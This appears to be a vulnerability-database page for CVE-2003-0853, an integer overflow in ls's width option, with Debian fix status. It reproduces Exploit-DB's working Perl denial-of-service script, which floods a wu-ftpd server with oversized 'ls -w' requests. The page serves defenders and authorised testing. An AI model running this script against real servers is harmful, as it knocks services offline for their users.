CVE-2003-0853

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

An integer overflow in ls in the fileutils or coreutils packages may allow local users to cause a denial of service or execute arbitrary code via a large -w value, which could be remotely exploited via applications that use ls, such as wu-ftpd.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-23274 dos linux verified text · 1 KB
druid · 2003-10-22

Coreutils 4.5.x - LS Width Argument Integer Overflow

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/8875/info

Coreutils 'ls' has been reported prone to an integer overflow vulnerability. The issue reportedly presents itself when handling width and column display command line arguments. It has been reported that excessive values passed as a width argument to 'ls' may cause an internal integer value to be misrepresented. Further arithmetic performed based off this misrepresented value may have unintentional results.

Additionally it has been reported that this vulnerability may be exploited in software that implements and invokes the vulnerable 'ls' utility to trigger a denial of service in the affected software. 

#!/usr/bin/perl

# DoS sploit for ls 
# tested against wu-ftpd 2.6.2

# coded by (c) druid 
# greets to viator

use Net::FTP;

(($target = $ARGV[0])&&($count = $ARGV[1])) || die "usage:$0 <target> <count>";
my $user = "anonymous";
my $pass = "halt\@xyu.com";
$cols=1000000;#you can increase this value for more destructive result ;)


print ":: Trying to connect to target system at: $target...\n"; $ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not 
connect: $!";
print "Connected!\n";
$ftp->login($user, $pass) || die "could not login: $!"; 
print "Logged in!\n";
$ftp->cwd("/");
while ($count)
{
$ftp->ls("-w $cols -C");
 $count--; 
}
print "Done!\n";
$ftp->quit; 

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 5.2.1-1
sid Fixed 5.2.1-1
forky Fixed 5.2.1-1
bullseye Fixed 5.2.1-1
bookworm Fixed 5.2.1-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.